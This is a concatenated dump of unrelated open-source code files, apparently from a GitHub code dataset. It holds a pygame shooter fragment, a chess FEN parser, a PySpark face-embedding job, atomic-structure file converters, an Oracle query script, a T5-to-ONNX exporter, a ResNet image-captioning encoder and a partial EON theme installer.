color.x-=VELOCITY\n if key_pressed[pygame.K_UP] and color.y-VELOCITY>0:\n color.y-=VELOCITY\n if key_pressed[pygame.K_RIGHT] and color.x-VELOCITY<900-55:\n color.x+=VELOCITY\n if key_pressed[pygame.K_DOWN] and color.y+VELOCITY<500-40:\n color.y+=VELOCITY\n\n\ndef handle_bullets(yb,rb,y,r):\n for bullet in yb :\n bullet.x+=7\n if r.colliderect(bullet):\n pygame.event.post(pygame.event.Event(RED_HIT))\n yb.remove(bullet)\n \n if bullet.x>900:\n yb.remove(bullet)\n \n for bullet in rb :\n bullet.x-=7\n if y.colliderect(bullet):\n pygame.event.post(pygame.event.Event(YELLOW_HIT))\n rb.remove(bullet)\n \n if bullet.x<0:\n rb.remove(bullet)\n \n \n\n\ndef draw_winner(text):\n draw_text=WINNER_FONT.render(text,1,WHITE)\n w=draw_text.get_width()+0\n h=draw_text.get_height()+0\n WIN.blit(draw_text,((WIDTH-w)/2\n ,(HEIGHT-h)/2))\n pygame.display.update()\n pygame.time.delay(5000)\n \n \n \n \n \n\ndef main():\n red=pygame.Rect(800,200,55,40)\n yellow=pygame.Rect(100,200,55,40)\n clock=pygame.time.Clock()\n red_bullets=[]\n yellow_bullets=[]\n red_health=10\n yellow_health=10\n \n run = True\n while run:\n clock.tick(FPS)\n for event in pygame.event.get():\n if event.type== pygame.QUIT:\n run=False\n pygame.quit()\n \n \n \n if event.type == pygame.KEYDOWN:\n if event.key == pygame.K_LCTRL and len(yellow_bullets) None:\n self.starting_fen = \"rnbqkbnr/pppppppp/8/8/8/8/PPPPPPPP/RNBQKBNR w KQkq - 0 1\"\n self.piece_from_symbol = {\n \"p\": Pawn,\n \"n\": Knight,\n \"b\": Bishop,\n \"r\": Rook,\n \"q\": Queen,\n \"k\": King\n }\n\n def build_board_from_fen(self, fen=None):\n if fen is None:\n fen = self.starting_fen\n\n fen_parts = fen.split(\" \")\n if len(fen_parts) != 6:\n raise ValueError(\"Invalid FEN string\")\n \n board_layout = fen_parts[0]\n board_rows = board_layout.split(\"/\")\n if len(board_rows) != 8:\n raise ValueError(\"Invalid FEN string\")\n\n board = []\n for row in board_rows:\n board_row = []\n for char in row:\n if char.isdigit():\n for _ in range(int(char)):\n board_row.append(0)\n else:\n board_row.append(self.get_piece_id_from_char(char))\n board.append(board_row)\n\n return board\n \n def get_piece_id_from_char(self, char):\n piece_color = \"white\" if char.isupper() else \"black\"\n char = char.lower()\n\n color = self.piece_from_symbol[char](piece_color).color\n id = self.piece_from_symbol[char](piece_color).id\n\n if id == 0:\n return id\n\n return color | id","repo_name":"connorjbarry/pyengine2.0","sub_path":"src/fen.py","file_name":"fen.py","file_ext":"py","file_size_in_byte":1454,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"19591859867","text":"import argparse\nimport os\nimport math\nimport json\nimport urllib\n\nimport pandas as pd\nimport pyspark.sql.functions as F\n\nfrom databricks_jobs.common import Job\nfrom databricks_jobs.jobs.utils.face_processing import extract_face_emb\nfrom pyspark.sql.types import ArrayType, FloatType\nfrom pyspark.sql import SparkSession\nfrom pyspark.sql.functions import sha2, concat_ws\n\n\ndef create_spark_df_from_data(spark, data):\n df = pd.DataFrame(data)\n return spark.createDataFrame(df)\n\n\nclass FaceEmbeddingJob(Job):\n\n def __init__(self, path=None, out_path=\"./export_dir\"):\n self.image_path = path\n self.output_path = os.path.join(out_path, \"face_embedding_dump\")\n spark = SparkSession.builder. \\\n master(\"local[1]\").getOrCreate()\n super(FaceEmbeddingJob, self).__init__(spark=spark)\n\n def init_adapter(self):\n if not self.conf:\n self.logger.info(\n \"Init configuration was not provided, using configuration from default_init method\"\n )\n\n def prepare_dataframe(self):\n is_real_image_directory = os.path.isdir(self.image_path) and len(os.listdir(self.image_path)) > 0 and \\\n any([os.path.splitext(f)[1][1:].lower() in [\"jpg\", \"png\", \"jpeg\"]\n for f in os.listdir(self.image_path)])\n\n if is_real_image_directory:\n image_paths = [os.path.join(self.image_path, f) for f in os.listdir(self.image_path)]\n else:\n data = json.load(open(self.image_path))\n image_paths = list(map(lambda x: x[\"image\"][\"file_url\"], data.values()))\n data = {\"image_path\": image_paths}\n return create_spark_df_from_data(self.spark, data), len(image_paths) ** 0.25\n\n def launch(self):\n self.logger.info(\"Launching databricks_jobs job\")\n\n df, repartition = self.prepare_dataframe()\n\n image_df = df. \\\n repartition(repartition, sha2(\"image_path\", 224)).\\\n rdd.\\\n flatMap(lambda x: extract_face_emb(x.image_path)). \\\n map(lambda x: ';'.join(map(str, x))).\\\n saveAsTextFile(self.output_path)\n\n self.logger.info(\"Sample job finished!\")\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--path\", help=\"display a square of a given number\",\n type=str)\n args = parser.parse_args()\n job = FaceEmbeddingJob(path=args.path)\n job.launch()\n","repo_name":"AdMoR/sozy-face-embedding","sub_path":"databricks_jobs/jobs/face_embedding_computer/entrypoint_dir.py","file_name":"entrypoint_dir.py","file_ext":"py","file_size_in_byte":2436,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"2862946236","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Nov 2 14:42:04 2021\n\n@author: danpa\n\"\"\"\n\nimport numpy as np \nimport re\nfrom ase import Atoms\nimport ase.io\n\n\n\ndef write_latte_dat(ase_obj,filename,electron_file=None):\n \"\"\"write latte coordinate file from ase.Atoms object\n \n :param ase_obj: (ase.Atoms obj) ase atoms object where geometry is stored\n \n :electron_file: (str) electron.dat file containing masses of atomic species.\n Masses in electron file are matched with masses in ase.Atoms object in order\n to set symbols in latte data file\n \n :param filename: (str) filename to write data file to\n \"\"\"\n cell=np.array(ase_obj.get_cell())\n rx_=\" \".join(map(str,cell[0,:]))\n ry_=\" \".join(map(str,cell[1,:]))\n rz_=\" \".join(map(str,cell[2,:]))\n \n xyz=ase_obj.get_positions()\n natom=np.shape(xyz)[0]\n \n #compare mass in ase object to mass in electrons file to find correct element\n if electron_file!=None:\n with open(electron_file) as f:\n lines=f.readlines()\n mass_dict={}\n for i,l in enumerate(lines):\n if i<2:\n continue\n properties=l.split(\" \")\n temp_dict={float(properties[7]) : properties[0]} # {Mass : Element}\n mass_dict.update(temp_dict)\n \n with open(filename,'w+') as f:\n f.write(\" \")\n f.write('%d\\n'%(natom))\n f.write(rx_+\" \\n\")\n f.write(ry_+\" \\n\")\n f.write(rz_+\" \\n\")\n \n for a in ase_obj:\n if electron_file!=None:\n get_mass=a.mass\n for key in mass_dict.keys():\n if np.isclose(float(key),get_mass,rtol=0.00001):\n symbol=mass_dict[key]\n else:\n symbol=a.symbol\n \n f.write(symbol+\" \")\n pos=np.array(a.position)\n str_pos=\" \".join(map(str,pos))\n f.write(str_pos+\" \\n\")\n \ndef read_latte_dat(filename,electron_file=None):\n \"\"\"read latte data file into ase.Atoms object\n \n :param filename: (str) filename of latte data file to read\n \n :electron_file: (str) electron.dat file containing masses of atomic species.\n Masses in electron file are used to set masses in Ase.atoms object, if \n symbols in latte data file are not chemical species.\n \n :returns: (ase.Atoms) ase.Atoms object containing chemical symbols, positions\n and cell of system\"\"\"\n \n with open(filename,\"r\") as f:\n lines=f.readlines()\n \n natom=int(re.findall(r'[-+]?[.]?[:\\.\\d]+',lines[0])[0])\n pos=np.zeros((natom,3))\n symbols=np.empty(natom,dtype=np.unicode_)\n cell_x=re.findall(r'[-+]?[.]?[:\\.\\d]+',lines[1])\n cell_y=re.findall(r'[-+]?[.]?[:\\.\\d]+',lines[2])\n cell_z=re.findall(r'[-+]?[.]?[:\\.\\d]+',lines[3])\n \n for i,l in enumerate(lines[4:]):\n pos[i,:]=re.findall(r'[-+]?[.]?[:\\.\\d]+',l)\n sym=l.split(\" \")[0]\n symbols[i]=sym\n \n #include masses in object\n if electron_file!=None:\n with open(electron_file) as f:\n lines=f.readlines()\n mass_dict={}\n for i,l in enumerate(lines):\n if i<2:\n continue\n properties=l.split(\" \")\n temp_dict={properties[0] : float(properties[7])} # {Mass : Element}\n mass_dict.update(temp_dict)\n \n masses=np.zeros(natom)\n for k in mass_dict.keys():\n ind=np.where(symbols==k)\n masses[ind]=mass_dict[k]\n \n atom_obj=Atoms(positions=pos,\\\n cell=np.array([cell_x,cell_y,cell_z]))\n atom_obj.set_masses(masses)\n else:\n try:\n atom_obj=Atoms(symbols,positions=pos,\\\n cell=np.array([cell_x,cell_y,cell_z]))\n except:\n print(\"atomic labels in .dat file may not be atomic symbols. Try passing associated electrons.dat file\")\n \n return atom_obj\n\ndef cell_to_bounds(cell):\n \"\"\"convert simulation cell to box lengths and skews for lammps\n \n :param cell: (arr) 3x3 array defining simulation cell\n \n :returns: (float,float,float,float,float,float) length in x, length in y,\n length in z, xy skew, xz skew, yz skew. \"\"\"\n #vector algebra to get unit cell skews\n cell=cell.T\n a_=cell[:,0]\n b_=cell[:,1]\n c_=cell[:,2]\n \n lx=a_[0]\n ly=b_[1]\n lz=c_[2]\n xy=b_[0]\n xz=c_[0]\n yz=c_[1]\n \n \n return lx,ly,lz,xy,xz,yz\n\n\ndef write_lammps(fname,ase_obj):\n \"\"\"write lammps data file from ase.atom.atoms object. This function is \n necessary because ase.io.write writes triclinic cells incorrectly.\n \n :param fname: (str) filename to write object to\n \n :param ase_obj: (object) ase.atom.atoms object to write to file\n \n \"\"\"\n cell=np.array(ase_obj.get_cell())\n xyz=ase_obj.get_positions()\n natom=np.shape(xyz)[0]\n \n lx,ly,lz,xy,xz,yz=cell_to_bounds(cell)\n \n with open(fname,'w+') as f:\n \n f.write(fname+ \" (written by ASE) \\n\\n\")\n f.write(str(natom)+\" \t atoms \\n\")\n f.write(\"2 atom types \\n\")\n f.write(\"0.0 \"+str(lx)+\" xlo xhi \\n\") #fix xhi \n f.write(\"0.0 \"+str(ly)+ \" ylo yhi \\n\")\n f.write(\"0.0 \"+str(lz)+\" zlo zhi \\n\")\n f.write(\" \"+str(xy)+\" \"+str(xz)+\" \"+str(yz)+\" xy xz yz \\n\\n\\n\")\n f.write(\"Atoms \\n\\n\")\n \n m1=ase_obj.get_masses()[0]\n for i,a in enumerate(ase_obj):\n if a.mass==m1:\n atom_type=\"1\"\n else:\n atom_type=\"2\"\n \n f.write(str(i+1)+\" \"+atom_type+\" \"+atom_type+\" 0 \")\n pos=np.array(a.position)\n str_pos=\" \".join(map(str,pos))\n f.write(str_pos+\" \\n\")\n \nif __name__==\"__main__\":\n import flatgraphene as fg\n filename=\"test.dat\"\n a_nn=2.529/np.sqrt(3)\n sep=3.35\n atoms=fg.shift.make_graphene(stacking=['A','B'],cell_type='hex',n_layer=2,\n\t\t n_1=5,n_2=5,lat_con=0.0,a_nn=a_nn,mass=[12.01,12.02],sep=sep,sym=['B','Ti'],h_vac=3)\n efile=\"C:/Users/danpa/Documents/research/twisted-graphene-geometry-optimization/parameters_potentials/latte/Porezag_Popov_Van_Alsenoy/latte/electrons.dat\"\n write_latte_dat(atoms,\"test_coords.dat\",electron_file=efile)\n #obj=read_latte_dat(\"test_coords.dat\",electron_file=efile)\n #print(obj.get_masses())\n fname=\"ab_lammps.data\"\n write_lammps(fname,atoms)\n \n ","repo_name":"dpalmer-anl/TEGT_Structure_Relax","sub_path":"parameters_potentials/lammps/interlayer_correction/verify/latte_dat_io.py","file_name":"latte_dat_io.py","file_ext":"py","file_size_in_byte":6771,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"30620768318","text":"'''\r\nCreated on 2017. 7. 31.\r\n\r\n@author: acorn\r\n'''\r\n\"\"\"\r\n\r\n\"\"\"\r\n\r\nimport cx_Oracle as co\r\nfrom pandas import Series, DataFrame\r\nimport numpy as np\r\nimport sys\r\n\r\nempList= []\r\ntry:\r\n db = co.connect(\"scott/tiger@localhost/xe\")\r\n print(\"Connected to the Oracle \" + db.version + \" database.\")\r\n cursor = db.cursor()\r\n cursor.execute('select * from emp')\r\n for row in cursor:\r\n print(row)\r\n empList.append(row)\r\n empList = DataFrame(empList, columns = ['empno', 'ename', 'position', 'mgr', 'hiredate','sal', 'incentives', 'deptno'])\r\n print(empList)\r\nexcept co.DatabaseError as e:\r\n error = e.args\r\n print('error.code',error.code)\r\n print('error.msg', error.message)\r\n print('raised error \\n',sys.exc_info())\r\nfinally:\r\n print('work done')\r\n\r\n\r\n","repo_name":"moneymashi/python","sub_path":"a10_dataload/a99_oracleconn.py","file_name":"a99_oracleconn.py","file_ext":"py","file_size_in_byte":792,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"16034531067","text":"import sys, os, shutil\nfrom transformers import AutoTokenizer\n\n\ndef t5_to_onnx(model_id, output_dir, quantized):\n import fastT5\n model = fastT5.export_and_get_onnx_model(model_id, custom_output_path=output_dir, quantized=quantized)\n return model\n\n\ndef onnx_generate(input, onnx_model, tokenizer):\n token = tokenizer(input, return_tensors='pt')\n tokens = onnx_model.generate(input_ids=token['input_ids'],\n attention_mask=token['attention_mask'],\n num_beams=2)\n output = tokenizer.decode(tokens.squeeze(), skip_special_tokens=True)\n return output\n\n\nif __name__ == '__main__':\n args = sys.argv\n model_id = \"t5-small\"\n output_dir = \"./models\"\n quantized = True\n test_input = \"translate English to French: The universe is a dark forest.\"\n\n if len(args) > 1:\n model_id = args[1]\n if len(args) > 2:\n output_dir = args[2]\n if len(args) > 3:\n quantized = args[3].lower() == \"true\" or args[3].lower() == \"1\" or args[3].lower() == \"yes\"\n if len(args) > 4:\n test_input = args[4]\n model_name = model_id.split(\"/\")[-1]\n\n print(f\"model_name: {model_name}\")\n print(f\" model_id: {model_id}\")\n print(f\"output_dir: {output_dir}\")\n print(f\" quantized: {quantized}\")\n\n os.makedirs(output_dir, exist_ok=True)\n\n build_dir = os.path.abspath(f\"buildmodel\")\n os.makedirs(build_dir, exist_ok=True)\n\n tokenizer = AutoTokenizer.from_pretrained(model_id)\n tokenizer.save_pretrained(build_dir)\n shutil.copyfile(os.path.join(build_dir, \"tokenizer.json\"), os.path.join(output_dir, f\"{model_name}-tokenizer.json\"))\n\n onnx_model = t5_to_onnx(model_id, build_dir, quantized)\n msuffix = \"-quantized\" if quantized else \"\"\n for session in [\"encoder\", \"init-decoder\", \"decoder\"]:\n shutil.copyfile(os.path.join(build_dir, f\"{model_name}-{session}{msuffix}.onnx\"), os.path.join(output_dir, f\"{model_name}-{session}{msuffix}.onnx\"))\n\n test_output = onnx_generate(test_input, onnx_model, tokenizer)\n print(f\"> {test_input}\")\n print(f\"< {test_output}\")\n","repo_name":"praeclarum/transformers-js","sub_path":"tools/convert_model.py","file_name":"convert_model.py","file_ext":"py","file_size_in_byte":2107,"program_lang":"python","lang":"en","doc_type":"code","stars":178,"dataset":"github-code","pt":"31"} +{"seq_id":"703500148","text":"\"\"\"\nVariant of the resnet module that takes cfg as an argument.\nExample usage. Strings may be specified in the config file.\n model = ResNet(\n \"StemWithFixedBatchNorm\",\n \"BottleneckWithFixedBatchNorm\",\n \"ResNet50StagesTo4\",\n )\nCustom implementations may be written in user code and hooked in via the\n`register_*` functions.\n\"\"\"\nfrom collections import namedtuple\n\nimport torch\nimport torch.nn.functional as F\nfrom torch import nn\nfrom torch.nn import Conv2d, BatchNorm2d\n\nfrom image_captioning.utils.registry import Registry\n\n# ResNet sate specification\nStageSpec = namedtuple(\n \"StageSpec\",\n [\n \"index\", # Index of the stage, eg 1, 2, ..., 5\n \"block_count\", #Number of residual blocks in the stage\n \"return_features\", # True => return the last feature map from this stage\n ]\n)\n\n# --------------------------------------------------------------------------------\n# Standard ResNet models\n# --------------------------------------------------------------------------------\n# Resnet-50 (including all stages)\nResNet50StagesTo5 = tuple(\n StageSpec(index = i, block_count=c, return_features=r)\n for (i, c, r) in ((1, 3, False), (2, 4, False), (3, 6, False), (4, 3, True))\n)\n# Resnet-50 up to stage 4(excludes stage 5)\nResNet50StagesTo4 = tuple(\n StageSpec(index=i, block_count=c, return_features=r)\n for (i, c, r) in ((1, 3, False), (2, 4, False), (3, 6, True))\n)\n\n# Resnet-101 (including all stages)\nResNet101StagesTo5 = tuple(\n StageSpec(index=i, block_count=c, return_features=r)\n for (i, c, r) in ((1, 3, False), (2, 4, False), (3, 23, False), (4, 3, True))\n)\n\n# Resnet-101 up to stage 4(excludes stage 5)\nResNet101StagesTo4 = tuple(\n StageSpec(index=i, block_count=c, return_features=r)\n for (i, c, r) in ((1, 3, False),(2, 4, False),(3, 23, True))\n)\n\nclass ResNet(nn.Module):\n def __init__(self, cfg):\n super(ResNet, self).__init__()\n # If we want to use the cfg in forward(), then we should make a copy\n # of it and store it for later use:\n #self.cfg = cfg.clone()\n # Translate string names to implementations\n stem_module = _STEM_MODULES[cfg.MODEL.RESNETS.STEM_FUNC]\n stage_specs = _STAGE_SPECS[cfg.MODEL.ENCODER.CONV_BODY]\n transformation_module = _TRANSFORMATION_MODULES[cfg.MODEL.RESNETS.TRANS_FUNC]\n\n # construct the stem module\n self.stem = stem_module(cfg)\n\n # construct the specified ResNetStages\n num_groups = cfg.MODEL.RESNETS.NUM_GROUPS\n width_per_group = cfg.MODEL.RESNETS.WIDTH_PER_GROUP\n in_channels = cfg.MODEL.RESNETS.STEM_OUT_CHANNELS\n stage2_bottleneck_channels = num_groups * width_per_group\n stage2_out_channels = cfg.MODEL.RESNETS.RES2_OUT_CHANNELS\n self.stages = []\n self.return_features = {}\n for stage_spec in stage_specs:\n name = \"layer\" + str(stage_spec.index)\n stage2_relative_factcor = 2 ** (stage_spec.index - 1)\n bottleneck_channels = stage2_bottleneck_channels * stage2_relative_factcor\n out_channels = stage2_out_channels * stage2_relative_factcor\n module = _make_stage(\n transformation_module,\n in_channels,\n bottleneck_channels,\n out_channels,\n stage_spec.block_count,\n num_groups,\n cfg.MODEL.RESNETS.STRIDE_IN_1X1,\n first_stride = int(stage_spec.index > 1) + 1,\n )\n in_channels = out_channels\n self.add_module(name, module)\n self.stages.append(name)\n self.return_features[name] = stage_spec.return_features\n # Optionally freeze (requires_grad=False) parts of the encoder\n self._freeze_encoder(cfg.MODEL.ENCODER.FREEZE_CONV_BODY_AT)\n\n # self.use_fc = cfg.MODEL.ENCODER.USE_FC_FEATUES\n self.att_size = cfg.MODEL.ENCODER.ATT_SIZE\n \n def _freeze_encoder(self, freeze_at):\n for stage_index in range(freeze_at):\n if stage_index == 0:\n m = self.stem\n else:\n m = getattr(self, 'layer'+str(stage_index))\n for p in m.parameters():\n p.requires_grad = False\n \n def forward(self, x):\n outputs = []\n x = self.stem(x)\n for stage_name in self.stages:\n x = getattr(self, stage_name)(x)\n if self.return_features[stage_name]:\n outputs.append(x)\n # size: batch_size x fetures_dim x att_size x att_size \n att = F.adaptive_avg_pool2d(outputs[-1], [self.att_size, self.att_size])\n # if self.use_fc:\n fc = outputs[-1].mean(3).mean(2) # batch_size x features_dim\n return fc, att\n\n \n\n\ndef _make_stage(\n transformation_module,\n in_channels,\n bottleneck_channels,\n out_channels,\n block_count,\n num_groups,\n stride_in_1x1,\n first_stride\n):\n blocks = []\n stride = first_stride\n for _ in range(block_count):\n blocks.append(\n transformation_module(\n in_channels,\n bottleneck_channels,\n out_channels,\n num_groups,\n stride_in_1x1,\n stride,\n )\n )\n stride = 1\n in_channels = out_channels\n return nn.Sequential(*blocks)\nclass BottleneckWithBatchNorm(nn.Module):\n def __init__(\n self,\n in_channels,\n bottleneck_channels,\n out_channels,\n num_roups=1,\n stride_in_1x1=True,\n stride=1,\n ):\n super(BottleneckWithBatchNorm, self).__init__()\n self.downsample = None\n if in_channels != out_channels:\n self.downsample = nn.Sequential(\n Conv2d(in_channels, out_channels, kernel_size=1, \n stride=stride, bias=False),\n BatchNorm2d(out_channels),\n )\n # The original MSRA ResNet models have stride in the first 1x1 conv\n # The subsequent fb.torch.resnet and Caffe2 ResNe[X]t implementations have\n # stride in the 3x3 conv\n stride_1x1, stride_3x3 = (stride, 1) if stride_in_1x1 else (1, stride)\n\n self.conv1 = Conv2d(\n in_channels,\n bottleneck_channels,\n kernel_size=1,\n stride=stride_1x1,\n bias=False,\n )\n self.bn1 = BatchNorm2d(bottleneck_channels)\n\n self.conv2 = Conv2d(\n bottleneck_channels,\n bottleneck_channels,\n kernel_size=3,\n stride=stride_3x3,\n padding=1,\n bias=False,\n groups=num_roups,\n )\n self.bn2 = BatchNorm2d(bottleneck_channels)\n\n self.conv3 = Conv2d(\n bottleneck_channels, out_channels, kernel_size=1, bias=False\n )\n self.bn3 = BatchNorm2d(out_channels)\n\n def forward(self, x):\n residual = x\n out = self.conv1(x)\n out = self.bn1(out)\n out = F.relu_(out)\n\n out = self.conv2(out)\n out = self.bn2(out)\n out = F.relu_(out)\n\n out = self.conv3(out)\n out = self.bn3(out)\n\n if self.downsample is not None:\n residual = self.downsample(x)\n\n out += residual\n out = F.relu_(out)\n\n return out\n\nclass StemWithBatchNorm(nn.Module):\n def __init__(self, cfg):\n super(StemWithBatchNorm, self).__init__()\n\n out_channels = cfg.MODEL.RESNETS.STEM_OUT_CHANNELS\n\n self.conv1 = Conv2d(\n 3, out_channels, kernel_size=7, stride=2, padding=3, bias=False\n )\n self.bn1 = BatchNorm2d(out_channels)\n\n def forward(self, x):\n x = self.conv1(x)\n x = self.bn1(x)\n x = F.relu_(x)\n x = F.max_pool2d(x, kernel_size=3, stride=2, padding=1)\n return x\n\n_TRANSFORMATION_MODULES = Registry({\n \"BottleneckWithBatchNorm\": BottleneckWithBatchNorm\n})\n\n_STEM_MODULES = Registry({\n \"StemWithBatchNorm\": StemWithBatchNorm\n})\n\n_STAGE_SPECS = Registry({\n \"R-50-C4\": ResNet50StagesTo4,\n \"R-50-C5\": ResNet50StagesTo5,\n \"R-101-C5\": ResNet101StagesTo5,\n 'R-101-C4': ResNet101StagesTo4\n})","repo_name":"congve1/image_captioning","sub_path":"image_captioning/modeling/encoder/resnet.py","file_name":"resnet.py","file_ext":"py","file_size_in_byte":8174,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"24712993098","text":"#python program to check if a given number is a prime number or not\nnumber = int(input())\nflag = False\nfor i in range(2, number):\n if number%i == 0:\n flag = True\n break\n\nif flag == False:\n print(\"prime number\")\nelif flag == True:\n print(\"not prime number\")","repo_name":"vibhatsu08/python-programs","sub_path":"python35.py","file_name":"python35.py","file_ext":"py","file_size_in_byte":279,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"22193686877","text":"# Configuration\nimport logging\nimport yaml\n\n\ndef read_config(file_path):\n with open(file_path, 'r') as file:\n return yaml.safe_load(file)\n\n\nconfig = read_config('config.yaml')\nlog_level = config['log_level']\ntag_prefix = config['tag_prefix']\nsync_branch_prefix = config['sync_branch_prefix']","repo_name":"x-qdo/pipe-syncer","sub_path":"config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":301,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"72389497689","text":"#!/usr/bin/python\n###################################################################################\n# VER 1.2 #\n # #\n # Permission is granted to anyone to use this software for any purpose, #\n # excluding commercial applications, and to alter it and redistribute it #\n # freely, subject to the following restrictions: #\n # #\n # 1. The origin of this software must not be misrepresented; you must not #\n # claim that you wrote the original software. If you use this software #\n # in a product, an acknowledgment in the product documentation is required. #\n # #\n # 2. Altered source versions must be plainly marked as such, and must not be #\n # misrepresented as being the original software. #\n # #\n # 3. This notice may not be removed or altered from any source #\n # distribution. #\n # #\n # #\n # ==Created by Colton (Brandon) S. (@Coltonton) for the OpenPilot Community=== #\n # === http://endoflinetech.com/eon-custom-themes === #\n # #\n # With a mission to rid all EONS of Comma.ai branding #\n # And give the people the freedom, knowlage, and power! #\n # & to make their EONS purdy! #\n # #\n # Grab life by the horns #\n # #\n # A very special thank you to @ShaneSmiskol for creating the theme picker #\n # for his tireless help, and donating the life of his LeEco EON #\n # to get the LeEco based EONs supported by this project #\n # Although revived least we forget..... #\n ##################################################################################\n # #\n # To Get Started Making Your EON Purdy: #\n # #\n # SSH into your EON: #\n #https://github.com/commaai/openpilot/wiki/SSH#option-3---githubs-official-instructions# #\n # #\n # Type the following command if using the main project #\n # exec /data/eon-custom-themes/theme_install.py #\n\n # #\n # Now follow the prompts and make your selections! #\n # Everything will be done automagically!!!!! #\n # #\n # Don't forget to tell your friends!! #\n # Love, Cole (@Coltonton) #\n # #\n # Did you know that soontm if you have a custom OP fork you can use this #\n # program to auto install your custom theme for your users automagiclly? #\n # And incorparate it into your OP Fork? #\n # #\n##################################################################################\nimport time, os\nfrom os import path\nfrom support.support_functions import * \nfrom support.support_variables import *\n\n######################################################################################################\n##======================= CODE START ================================================================#\n######################################################################################################\nos.chdir(os.path.dirname(os.path.realpath(__file__))) # __file__ is safer since it doesn't change based on where this file is called from\n\nprint_text(WELCOME_TEXT) # Print welcome text with the flag for self welcome text\nDebugPrint(\"VERBOSE MODE ON\") # Notify if Verbosity Mode is on, DebugPrints only run in dev or verbose mode\nDEV_CHECK() # Check if running on unsupported PC/MAC\nOpInfo = dict # Init OPInfo Dict\nDeviceData = get_device_theme_data() # Init Device Data dict with device info\n\nprint_text(WELCOME_TEXT) #Print welcome text with the flag for self welcome text\nDebugPrint(\"DEBUG ON\")\n#RunningProcess = json.loads(data.json)\n#RunningProcess=\".theme_install\"\n\nOpInfo = dict\nDeviceData = get_device_theme_data() # Get Perams based off detected device\nclass ThemeInstaller:\n def __init__(self): # Init code runs once. sets up & determines if to run auto or self\n #get_running() # Get Running Process\n self.start_loop() # Do self install theme git # Terminate program\n\n def start_loop(self): # Self Installer loop\n # Create Backup folder(if nonexistant) and Create session backup and get location\n self.backup_dir = make_backup_folder()\n\n #Main Program (loop)\n while 1:\n # Auto discover themes and let user choose!\n self.selected_theme = get_aval_themes() \n if self.selected_theme == 'debug' and VERBOSE == False:\n VERBOSE == True\n DebugPrint(\"Debug Level Verbose On!\")\n elif self.selected_theme == 'debug' and VERBOSE == True:\n VERBOSE = False \n DebugPrint(\"Debug Level Verbose Off!\", 1) \n if self.selected_theme is None:\n print('Didn\\'t select a valid theme, exiting.')\n return\n \n # Check what assets are available for the selected theme\n self.get_available_options()\n\n #Goto Installer\n if self.install_function() == 'exit':\n return\n\n def get_available_options(self): # Check what assets are available for the selected theme\n self.theme_options = []\n # Check if the selected theme has a boot logo asset\n if os.path.exists('{}/{}/{}'.format(CONTRIB_THEMES, self.selected_theme, DeviceData[\"BOOT_LOGO_THEME_PATH\"])):\n self.theme_options.append('Boot Logo')\n # Check if the selected theme has a boot annimation asset\n if os.path.exists('{}/{}/bootanimation.zip'.format(CONTRIB_THEMES, self.selected_theme)):\n self.theme_options.append('Boot Animation')\n # Check if the selected theme has a color boot annimation asset\n if os.path.exists('{}/{}/color_bootanimation.zip'.format(CONTRIB_THEMES, self.selected_theme)):\n self.theme_options.append('Color Boot Animation')\n # Check if the selected theme has a white boot annimation asset\n if os.path.exists('{}/{}/white_bootanimation.zip'.format(CONTRIB_THEMES, self.selected_theme)):\n self.theme_options.append('White Boot Animation')\n # Check if the selected theme has a OpenPilot Spinner asset\n if os.path.exists('{}/{}/spinner'.format(CONTRIB_THEMES, self.selected_theme)) :\n self.theme_options.append('OpenPilot Spinner')\n\n self.theme_options.append('-Main Menu-')\n self.theme_options.append('-Reboot-')\n self.theme_options.append('-Quit-')\n\n def install_function(self): # Self installer program, prompts user on what they want to do\n while 1:\n theme_types = list(self.theme_options) # this only contains available options from self.get_available_options\n if not len(theme_types):\n print('\\n*\\nThe selected theme has no resources available for your device! Try another.')\n time.sleep(2)\n return\n \n #Ask users what resources to install\n print('\\n*\\nWhat resources do you want to install for the {} theme?'.format(self.selected_theme))\n print(\"NEW! Use commas to seperate multiple selections ex '1,2' for option 1 & 2\")\n for idx, theme in enumerate(theme_types):\n print('{}. {}'.format(idx + 1, theme))\n indexChoice = input(\"Enter Index Value: \")\n indexChoice.replace(\" \", \"\")\n indexChoiceList = indexChoice.split(\",\")\n\n selected_option_list= []\n for x in range(len(indexChoiceList)):\n runOne = int(indexChoiceList[x])\n selected_option_list.append(self.theme_options[runOne-1])\n\n # Some logic that only allows one boot animation to be installed \n onlyOneBootAnimation = []\n for y in range(len(selected_option_list)): # Enumerate through list\n if selected_option_list[y] in VALID_BOOT_ANIMATIONS: # If current item is a Valid Boot Animation selection\n onlyOneBootAnimation.append(selected_option_list[y]) # Add to a new list to keep track\n if len(onlyOneBootAnimation) > 1: # If there was more then one selection\n for z in range(len(onlyOneBootAnimation)): # Enumerate through said new list and \n selected_option_list.remove(onlyOneBootAnimation[z]) # remove all boot animation selelctions\n while True:\n print(\"\\n*\\nOnly one boot animation is permitted to install, please select for {} theme.\".format(self.selected_theme))\n for idx, theme in enumerate(onlyOneBootAnimation): # Enumerate multiple boot animation list\n print('{}. {}'.format(idx + 1, theme)) # Print to screen\n realAnimationChoice = int(input(\"Enter Index Value: \")) # Ask user to select one\n if realAnimationChoice <= len(onlyOneBootAnimation): # User input was valid\n selected_option_list.append(onlyOneBootAnimation[realAnimationChoice-1]) # Add their selection to the stack!! \n break\n else: # User input was not valid\n print(\"Invalid Index... Try Again...\")\n\n # Some logic to not give stupid results to stupid people i.e. reboot should come after all installs and we really dont need to go to the main menu too...\n if \"-Reboot-\" in selected_option_list: #If Reeboot is selected remove Main Menu, Quit, and ensure its at the end\n if \"-Main Menu-\" in selected_option_list: selected_option_list.remove(\"-Main Menu-\") #Remove Main Menu as we dont need it...\n if \"-Quit-\" in selected_option_list:selected_option_list.remove(\"-Quit-\") #Remove Quit as we dont 